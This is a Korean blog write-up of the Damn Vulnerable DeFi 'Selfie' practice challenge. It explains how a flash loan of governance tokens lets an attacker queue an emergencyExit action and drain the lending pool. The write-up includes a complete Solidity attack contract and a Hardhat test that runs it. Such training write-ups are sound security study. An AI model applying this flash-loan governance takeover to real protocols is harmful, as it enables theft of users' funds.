The Challange
A new cool lending pool has launched! It’s now offering flash loans of DVT tokens. It even includes a fancy governance mechanism to control it.
What could go wrong, right ?
You start with no DVT tokens in balance, and the pool has 1.5 million. Your goal is to take them all.
The Contracts
토큰을 모두 탈취해야 한다. 제공된 초기 자금은 없다. 그럼 어떻게 토큰을 탈취해야 할까?
SimpleGovernance.sol을 보면 여러 거버넌스 메커니즘이 구성되어 있다. 실행할 대상 주소, 데이터 등을 제공받아 실행할 작업을 제안하고 대기열에 넣는 등 작업을 할 수 있다. 하지만 이러한 작업들은 거버넌스 토큰의 총 공급량의 최소 50% 이상의 투표를 보유해야 하며, 제안된 후 2일의 시간 지연과 같은 조건들이 있다.
그럼 flashloan 관련 contract를 보자. SelfiePool.sol은 ERC20 token에 대한 flashloan 기능이 있다. 사용자는 IERC3156FlashBorrower 인터페이스를 구현하는 한 토큰을 빌릴 수 있으며, 긴급 상황 발생 시 거버넌스가 풀에서 자금을 뺄 수 있게 하는 메커니즘이 구성되어 있다. 이 기능은 거버넌스만 실행 가능하다.
토큰을 모두 탈취할려면 위 기능을 실행하면 된다. 하지만 어떻게 거버넌스가 실행하게 할 수 있을까?
먼저 50% 이상의 투표를 보유하기 위해서 flashloan으로 자금을 대출한 한 후 EmergencyExit 함수를 호출하고, flashloan을 payback하면 되지 않을까? 공격 contract를 작성해보자.
Exploit
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IPool {
function flashLoan(
IERC3156FlashBorrower _receiver, address _token, uint256 _amount, bytes calldata _data
) external returns (bool);
}
interface IGovernance {
function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId);
function getActionCounter() external returns (uint256);
}
interface IERC20Snapshot is IERC20{
function snapshot() external returns(uint256);
}
contract attackSelfie is IERC3156FlashBorrower {
IPool public pool;
IGovernance public governance;
IERC20Snapshot public token;
address public player;
uint256 public amount = 1500000 ether;
constructor(address _pool, address _governance, address _token, address _player) {
pool = IPool(_pool);
governance = IGovernance(_governance);
token = IERC20Snapshot(_token);
player = _player;
}
function attack() public {
bytes memory data = abi.encodeWithSignature("emergencyExit(address)", player);
pool.flashLoan(IERC3156FlashBorrower(address(this)), address(token), amount , data);
}
function onFlashLoan(address, address, uint256 _amount, uint256, bytes calldata data) external returns (bytes32) {
uint256 id = token.snapshot();
governance.queueAction(address(pool), 0, data);
token.approve(address(pool), _amount);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
}
Exploit Flow
- Attack Start:
- attack() 함수가 호출되면, emergencyExit(address) 함수를 호출하는 페이로드 데이터를 작성
- 150만 토큰을 플래시 론으로 빌리기 위해 pool.flashLoan()을 호출
- FlashLoan :
- 플래시 론이 완료되면 onFlashLoan() 콜백 함수가 호출
- 스냅샷을 찍어 거버넌스 토큰의 현재 상태를 기록
- emergencyExit(address) 함수를 호출하는 작업을 거버넌스 큐에 삽입
- 빌린 토큰을 풀로 반환하기 위해 토큰 전송을 승인
- 작업 실행:
- 2일이 지난 후, 큐에 넣은 작업이 실행될 수 있다.
- SimpleGovernance 계약의 executeAction() 함수를 호출하여 emergencyExit()을 실행
- 이로 인해 SelfiePool 계약이 공격자 주소로 모든 자금을 전송하게 되며 flashloan도 모두 payback된다.
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
this.exploitContract = await (await ethers.getContractFactory("attackSelfie", player)).deploy(pool.address, governance.address, token.address, player.address)
await this.exploitContract.attack();
const DELAY = 2 * 24 * 60 * 60 + 1;
await time.increase(DELAY);
await governance.connect(player).executeAction(1);
});
'Blockchain' 카테고리의 다른 글
Uniswap이 뭘까? (2) | 2024.07.18 |
---|---|
Damn Vulnerable DeFi Challenge #7 - Compromised (0) | 2024.07.06 |
Damn Vulnerable DeFi Challenge #5 - The Rewarder (1) | 2024.07.05 |
LayerZero 1-Day Analysis (0) | 2024.06.16 |
LZ Case Analyze (0) | 2024.05.27 |